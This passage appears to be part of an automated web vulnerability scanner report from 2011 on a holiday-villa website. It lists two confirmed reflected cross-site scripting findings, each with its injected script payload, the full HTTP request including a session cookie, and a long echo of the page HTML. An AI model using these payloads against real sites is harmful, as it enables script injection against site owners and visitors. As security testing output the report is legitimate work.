src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lisbon villas" title=" in Lisbon"> Luxury Lisbon </h2></a></li>..

- /more_villas.php

/more_villas.php CONFIRMED

http://theholidaygroup.com/more_villas.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x..

Parameters

Parameter	Type	Value
id	GET	'"--></style></script><script>alert(0x0000CE)</script>

Request

GET /more_villas.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0000CE)%3C/script%3E HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:10:37 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 7868
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><title> Villas, Rentals, Rentals, Villas </title><style type="text/css">body { scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}h1 { font-family: arial; font-size: 20px; color: white;}td { font-family: arial; font-size: 15px; color: white;}input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block;}</style><SCRIPT LANGUAGE="Javascript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="s..

- /rlargeimage.php

/rlargeimage.php CONFIRMED

http://theholidaygroup.com/rlargeimage.php?rid=542&type='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%..

Parameters

Parameter	Type	Value
rid	GET	542
type	GET	'"--></style></script><script>alert(0x000111)</script>

Request

GET /rlargeimage.php?rid=542&type='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000111)%3C/script%3E HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:10:46 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8001
Content-Type: text/html

<html><head><title>Larger Images for Villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><link rel="stylesheet" href="villas.css" type="text/css"><SCRIPT LANGUAGE="JavaScript" src="villas.js"></SCRIPT><style type="text/css">body { background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}</style></HEAD><BODY text="#FFFFFF" link="#000000" vlink="#000000" alink="#000000" bgcolor="#000066"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport 